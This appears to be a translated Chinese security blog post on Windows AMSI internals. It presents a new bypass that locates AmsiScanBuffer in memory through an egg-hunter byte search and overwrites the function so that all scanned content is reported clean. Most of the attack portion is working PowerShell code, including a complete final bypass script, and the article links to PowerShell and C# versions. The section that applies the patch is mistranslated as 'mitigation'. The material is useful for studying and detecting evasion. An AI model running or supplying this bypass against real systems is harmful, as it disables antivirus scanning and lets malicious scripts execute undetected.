导语:Windows一直是罪犯和安全研究人员钟爱的攻击目标,为了防御该系统,微软公司也在不断采用更好的防护措施 , 比如Windows 10中引入的AMSI(Antimalware Scan Interface,杀毒软件扫描接口) 工具。
对于经常进行渗透测试的人员来说,AMSI是再熟悉不过的事情了。
Windows一直是罪犯和安全研究人员钟爱的攻击目标,为了防御该系统,微软公司也在不断采用更好的防护措施 , 比如Windows 10中引入的AMSI(Antimalware Scan Interface,杀毒软件扫描接口) 工具。微软开发出了反恶意软件扫描接口(AMSI)工具,可以在内存中捕捉恶意脚本。任何应用程序都可以调用这个接口,任何注册反恶意软件引擎都能处理提交给AMSI的内容。Windows Defender 和AVG目前正在使用AMSI,这一接口应该被更广泛地采纳。特别是在应对PowerShell攻击的场景中,AMSI更是起到了很好的作用。
然而,AMSI并不完美,经混淆编码的脚本,或者从WMI名字空间、注册表、事件日志等非常规位置加载的脚本,就不太会被AMSI检测出来。不用powershell.exe执行(可用网络策略服务器之类的工具)的PowerShell脚本也会使AMSI失效。绕过AMSI的方法也有很多,比如修改脚本签名,使用 PowerShell ,或者禁用AMSI。
因此,AMSI是许多研究的主要目标,能够绕过AMSI可能是攻击成功与否的关键因素。这篇文章,我就为大家解释了AMSI的内部工作原理,并描述了一种新的绕过技术。
本文分为以下4部分:
1.基本的Windows内部知识(如虚拟地址空间、Windows API);
2.用于分析和反汇编程序的基本Windows调试器用法(在本文的示例中为powershell.exe);
3. Frida用于函数挂钩的基本用法;
4.PowerShell脚本的基础知识;
AMSI如何运行
如上所述,AMSI允许服务和应用程序与安装的杀毒软件进行通信。为此,AMSI要进行挂钩,例如Windows脚本主机(Windows Scripting Host ,WSH)和PowerShell,以便对正在执行的内容进行反混淆分析,该内容会被“捕获”并在执行之前被发送到杀毒软件中。
这是在Windows 10上实现AMSI的所有组件的列表:
1.用户帐户控制或UAC (EXE、COM、MSI或ActiveX安装的升级);
2.PowerShell(脚本、交互使用和动态代码评估);
3.Windows脚本主机(wscript.exe和cscript.exe);
4.JavaScript和VBScript;
5. Office VBA宏;
以下是AMSI体系结构的表示:
例如,在创建PowerShell进程时,AMSI动态链接库(Dynamic-Link Library, DLL)被映射到进程的虚拟地址空间,这是Windows为进程分配和提供的虚拟地址范围。DLL是一个模块,它包含可由另一个模块使用的导出和内部函数。内部函数可以从DLL中访问,导出的函数可以由其他模块访问,也可以从DLL中访问。在我们的示例中,PowerShell将使用AMSI DLL导出的函数来扫描用户输入。如果认为无害,则执行用户输入,否则将阻止执行并记录事件1116(MALWAREPROTECTION_BEHAVIOR_DETECTED)。
在PowerShell shell中尝试AMSI篡改方法时报告的事件(ID 1116)的示例:
请注意,AMSI不仅用于扫描脚本、代码、命令或cmdlet,还可用于扫描任何文件、内存或数据流,如字符串、即时消息、图片或视频。
枚举AMSI函数
如上所述,实现AMSI的应用程序使用AMSI导出的函数,但是使用哪些函数以及如何使用?重要的是,哪些函数负责检测,从而防止“恶意”内容执行?
使用两种方法以获得导出函数的列表,首先,可以从Microsoft文档网站找到一个基本的函数列表:
· AmsiCloseSession
· AmsiInitialize
· AmsiOpenSession
· AmsiResultsMalware
· AmsiScanBuffer
· AmsiScanString
· AmsiUninitialize
其次,利用WinDbg等软件对AMSI DLL进行调试,用于逆向工程、反汇编和动态分析。在我们的示例中,WinDbg将附加到正在运行PowerShell的进程上,以分析AMSI。
下图显示了使用WinDbg时,被导出的列表和内部AMSI函数的列表。注意,“x”命令用于检查符号。符号文件是编译程序时创建的文件。虽然程序的执行不需要这些文件,但是它们在调试过程中包含有用的信息,比如全局和局部变量以及函数名和地址。
虽然函数是已知的,然而,这并没有回答最重要的问题——检测和预防“恶意”内容涉及哪个函数或哪些函数?
为了回答这个问题,将使用Frida。Frida是一个用于应用程序内省和挂钩的动态工具工具包,这意味着它可以用来挂钩函数,以便分析由它们传递或返回的变量和值。
请注意,安装和解释Frida的工作方式超出了本文的范围,如需进一步了解,请点此了解。在我们的示例中,只使用“frida-trace”工具。
首先,frida-trace将附加到正在运行的PowerShell进程(左下方的shell),所有名称以“Amsi”开头的函数都将被挂起。“-P”开关用于指定进程Id,“-X”开关用于指定模块(DLL),“-i”开关用于指定函数名称,在我们的示例中代表模式。
请注意,必须使用管理员权限执行“frida-trace”(右下方的shell)。
现在所有这些函数都被Frida挂钩,因此可以监视PowerShell所调用的内容,例如,输入一个简单的字符串。如下所示,调用AmsiScanBuffer和AmsiOpenSession。
frida-trace是一个功能强大的工具,因为对于分析的每个函数,都会创建一个互补的JavaScript文件。在每个JavaScript文件中有两个函数,“onEnter”和“onLeave”。
“onEnter”函数有三个参数:“log”、“args”和“state”,它们分别是用于向用户显示信息的函数、传递给函数的参数列表和用于函数间(inter-function )状态管理的全局对象。
“onLeave”函数有三个参数:“log”、“args”和“state”,它们分别是向用户显示信息的函数(与onEnter相同)、函数返回的值和用于函数间(inter-function )状态管理的全局对象(与onEnter相同)。
例如,Frida为AmsiScanBuffer生成的默认JavaScript文件如下:
{ onEnter: function (log, args, state) { log('AmsiScanBuffer()'); }, onLeave: function (log, retval, state) { } }
在我们的示例中,AmsiScanBuffer和AmsiOpenSession函数的JavaScript文件都可以根据它们的函数原型进行更新,以便分析参数和返回值。函数原型或函数接口会对进入的函数进行介绍,包括函数的名称、类型签名、参数及其类型。
AmsiScanBuffer原型:
HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result );
AmsiOpenSession原型:
HRESULT AmsiScanBuffer( HRESULT AmsiOpenSession( HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession );
AmsiScanBuffer JavaScript文件(_handlers__\amsi.dll\AmsiScanBuffer.js) 的更新如下:
{ onEnter: function (log, args, state) { log('[+] AmsiScanBuffer'); log('|- amsiContext: ' + args[0]); log('|- buffer: ' + Memory.readUtf16String(args[1])); log('|- length: ' + args[2]); log('|- contentName: ' + args[3]); log('|- amsiSession: ' + args[4]); log('|- result: ' + args[5] + "\n"); }, onLeave: function (log, retval, state) { } }
AmsiOpenSession JavaScript文件(_handlers__\amsi.dll\ amsiopenssession .js) 的更新如下:
{ onEnter: function (log, args, state) { log('[+] AmsiOpenSession'); log('|- amsiContext: ' + args[0]); log('|- amsiSession: ' + args[1] + "\n"); }, onLeave: function (log, retval, state) { } }
通过更新这些文件,现在可以更深入地了解传递给这些函数的内容。如下图所示,用户输入通过buffer变量传递给AmsiScanBuffer函数。
基于此分析,我们可以得出结论,AmsiScanBuffer至少是一个重要的函数,负责检测,从而防止“恶意”内容的执行。
查找函数的地址
层层推进,绕过方法现在唯一可用的函数,就剩下了AmsiScanBuffer。
在Windows系统中,Kernel32 DLL中的LoadLibrary导出函数用于将DLL加载并映射到正在运行的进程的虚拟地址空间(VAS),并返回该DLL的句柄,然后该句柄可以与其他函数一起使用。如果DLL已经在进程的VAS中映射,它在本文的示例(PowerShell在进程初始化期间加载AMSI DLL)中,则只返回一个句柄。
Windows API是一组函数和数据结构,由Windows应用程序和服务使用的不同DLL(例如Kernel32或User32)公开,以执行它们必须执行的操作(例如创建文件、打开进程或加载DLL)。
为了获得AMSI DLL的句柄,可以执行以下PowerShell脚本:
$Kernel32 = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string lpLibFileName); } "@ Add-Type $Kernel32 [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll") Write-Host "[+] AMSI DLL Handle: $hModule”
从Kernel32 DL导出的GetProcAddress函数允许从给定DLL获取导出函数或变量的句柄。在我们的示例中,这个Windows API将用于获取AmsiScanBuffer的地址或AMSI DLL中导出的任何其他函数的地址。这是Rasta Mouse最初所做的事情,然而,AmsiScanBuffer和其他字符串现在被认为是恶意的,这意味着AMSI被篡改。因此,需要另一种方法。
我们的想法是动态地找到AmsiScanBuffer函数的地址,而不是使用GetProcAddress函数来获取它。为此,仍然需要一个地址作为VAS的起点。此时,几乎可以使用任何不包含字符串“Amsi”的导出函数。在本文的示例中,我们选择了DllCanUnloadNow。
现在可以通过调用GetProcAddress函数来更新以前的PowerShell脚本,以便在进程的VAS中获取DllCanUnloadNow函数的地址。PowerShell脚本正在执行的操作如下所示:
$Kernel32 = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string lpLibFileName); } "@ Add-Type $Kernel32 [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll") Write-Host "[+] AMSI DLL Handle: $hModule” [IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow") Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
请注意,由于地址空间布局随机化(ASLR) ,每次系统重启时DllCanUnloadNow的地址都会有所不同。在本例中,直到重新引导系统之前,函数的地址都是“140717525833824”。ASLR是一个安全功能,它在VAS中随机分配地址,以防止内存位置泄漏。
此外,每次重启系统时,ASLR都会随机分配用户空间的基地址。
Egg hunter技术的使用
DllCanUnloadNow的地址可以被看作是进程VAS的入口点。但是如何找到AmsiScanBuffer的地址呢?
事实上,有可能通过整个VAS来寻找特定的模式,这种技术被称为“Egg Hunter”。最初,egg hunter由解析内存中的一个大区域组成,以寻找两个4字节的模式(例如w00tw00t或p4ulp4ul),但是在我们的示例中,这不是8个字节,而是24个字节,即AmsiScanBuffer函数的24个第一字节。
WinDbg软件可用于反汇编AmsiScanBuffer函数以检索函数的指令。请注意,“u”开关用于反汇编内存中的指定代码,此处为AMSI DLL中的AmsiScanBuffer。
如上图所示,该函数的24个第一个字节是:“0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49 0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70”。
请注意,“捕获”的顺序必须是唯一的,否则这种技术将返回一个“随机”地址,而该地址则与我们正在寻找的函数地址不一致。
因此,可以更新以前的PowerShell脚本,以便在VAS中搜索24字节的惟一序列。
$Kernel32 = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string lpLibFileName); } "@ Add-Type $Kernel32 Class Hunter { static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) { while ($true) { [int]$count = 0 while ($true) { [IntPtr]$address = [IntPtr]::Add($address, 1) If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) { $count++ If ($count -eq $egg.Length) { return [IntPtr]::Subtract($address, $egg.Length - 1) } } Else { break } } } return $address } } Add-Type $Kernel32 [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll") Write-Host "[+] AMSI DLL Handle: $hModule" [IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow") Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress" [byte[]]$egg = [byte[]] ( 0x4C, 0x8B, 0xDC, # mov r11,rsp 0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx 0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp 0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi 0x57, # push rdi 0x41, 0x56, # push r14 0x41, 0x57, # push r15 0x48, 0x83, 0xEC, 0x70 # sub rsp,70h ) [IntPtr]$targetedAddress = [Hunter]:: FindAddress($dllCanUnloadNowAddress, $egg) Write-Host "[+] Targeted address $targetedAddress" [string]$bytes = "" [int]$i = 0 while ($i -lt $egg.Length) { [IntPtr]$targetedAddress = [IntPtr]::Add($targetedAddress, $i) $bytes += "0x" + [System.BitConverter]::ToString([System.Runtime.InteropServices.Marshal]::ReadByte($targetedAddress)) + " " $i++ } Write-Host "[+] Bytes: $bytes"
来自“Hunter”类的FindAddress静态方法正在解析VAS,方法是根据传递给方法的参数中的地址进行递增,该地址是DllCanUnloadNow函数的地址。然后,该方法使用Marshal类中的ReadByte静态方法获取所提供地址的字节,并将其与要查找的序列中的字节进行比较。最后,如果找到序列,它将返回函数的地址。
如图所示,找到的字节恰好是AmsiScanbuffer函数的前24个字节,因此,使用该技术成功地动态找到了AmsiScanbuffer。
缓解措施
既然可以找到函数的地址,下一步就是修改函数的指令,以阻止对“恶意”内容的检测。
根据Microsoft文档,AmsiScanBuffer函数应该返回HRESULT,它是一个整数值,表示操作的结果或状态。在我们的示例中,如果函数值正确,函数将返回“S_OK”(0x00000000;否则将返回一个HRESULT错误代码。
这个函数的主要目的是返回要扫描的内容是否“干净”。这就是为什么“result”变量作为AmsiScanBuffer函数的参数传递。这个变量的类型是“AMSI_RESULT”,属于枚举类。
enum的原型如下:
typedef enum AMSI_RESULT { AMSI_RESULT_CLEAN, AMSI_RESULT_NOT_DETECTED, AMSI_RESULT_BLOCKED_BY_ADMIN_START, AMSI_RESULT_BLOCKED_BY_ADMIN_END, AMSI_RESULT_DETECTED };
在函数执行期间,要分析的内容将被发送给杀毒软件提供商,该提供商将返回一个介于1到32762(包括)之间的整数。这个整数越大,估计的风险就越大。如果该整数大于或等于32762,则分析的内容被认为是恶意的,并被阻止运行。然后,AMSI_RESULT结果变量将根据返回的整数进行更新。
默认情况下,变量处于“干净”状态,因此,如果修改函数的指令,使其永远不会将内容发送给杀毒软件提供商,如果返回“S_OK”HRESULT,则始终认为内容是干净的。
在汇编中,EAX(32位)和RAX(64位)总是包含函数的返回值。因此,如果EAX/RAX寄存器等于0,并且执行了“ret”汇编指令,则该函数将只会返回一个“S_OK”HRSULT,而不将内容发送给杀毒软件提供商进行分析。
为此,可以使用以下汇编代码:
xor EAX, EAX ret
要修补AmsiScanBuffer函数,必须将第一个字节修改为“0x31 0xC0 0xC3”(上面的汇编指令的十六进制表示)。但是,在进行任何修改之前,要修改的区域必须是可读/可写的。否则,任何读或写访问都将导致访问冲突异常。要更改要修改的区域的内存保护,可以使用从Kernel32 DLL导出的VirtualProtect函数,此函数将修改指定区域的内存保护。
下面的PowerShell代码片段使用VirtualProtect调用来修改AmsiScanBuffer函数的前3个字节的内存保护。
# PAGE_READWRITE = 0x04 $oldProtectionBuffer = 0 [Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
然后,可以使用“Marshal”类中的“Copy”静态方法,将给定字节复制(覆盖)到给定地址。在我们的示例中,这个静态方法将用于缓解绕过过程。
$patch = [Byte[]] (0x31, 0xC0, 0xC3) # xor eax, eax; ret [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
最后,可以再次使用VirtualProtect函数重新初始化到原始内存保护状态。
$a = 0 [Kernel32]::VirtualProtect($targetedAddress, [uint32]5, $oldProtectionBuffer, [ref]$a) | Out-Null
通过组装所有部件,可以执行最终的PowerShell脚本,具体如下所示:
1.获取AMSI DLL的句柄;
2.获取DllCanUnloadNow函数的地址;
3.使用egg hunter技术找到AmsiScanBuffer函数的地址;
4.将修改区域改为读写;
5.应用到缓解措施;
6.将修改后的区域重新初始化为原始状态;
Write-Host "-- AMSI Patch" Write-Host "-- Paul Laîné (@am0nsec)" Write-Host "" $Kernel32 = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string lpLibFileName); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Kernel32 Class Hunter { static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) { while ($true) { [int]$count = 0 while ($true) { [IntPtr]$address = [IntPtr]::Add($address, 1) If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) { $count++ If ($count -eq $egg.Length) { return [IntPtr]::Subtract($address, $egg.Length - 1) } } Else { break } } } return $address } } [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll") Write-Host "[+] AMSI DLL Handle: $hModule" [IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow") Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress" If ([IntPtr]::Size -eq 8) { Write-Host "[+] 64-bits process" [byte[]]$egg = [byte[]] ( 0x4C, 0x8B, 0xDC, # mov r11,rsp 0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx 0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp 0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi 0x57, # push rdi 0x41, 0x56, # push r14 0x41, 0x57, # push r15 0x48, 0x83, 0xEC, 0x70 # sub rsp,70h ) } Else { Write-Host "[+] 32-bits process" [byte[]]$egg = [byte[]] ( 0x8B, 0xFF, # mov edi,edi 0x55, # push ebp 0x8B, 0xEC, # mov ebp,esp 0x83, 0xEC, 0x18, # sub esp,18h 0x53, # push ebx 0x56 # push esi ) } [IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg) Write-Host "[+] Targeted address: $targetedAddress" $oldProtectionBuffer = 0 [Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null $patch = [byte[]] ( 0x31, 0xC0, # xor rax, rax 0xC3 # ret ) [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3) $a = 0 [Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
如上图所示,AMSI就被成功绕过了。
总结
该技术在以下版本的Windows上进行了测试:
最终的PowerShell脚本可以在这里找到:
https://gist.github.com/amonsec/986db36000d82b39c73218facc557628
c#版本可以在这里找到:
https://gist.github.com/amonsec/854a6662f9df165789c8ed2b556e9597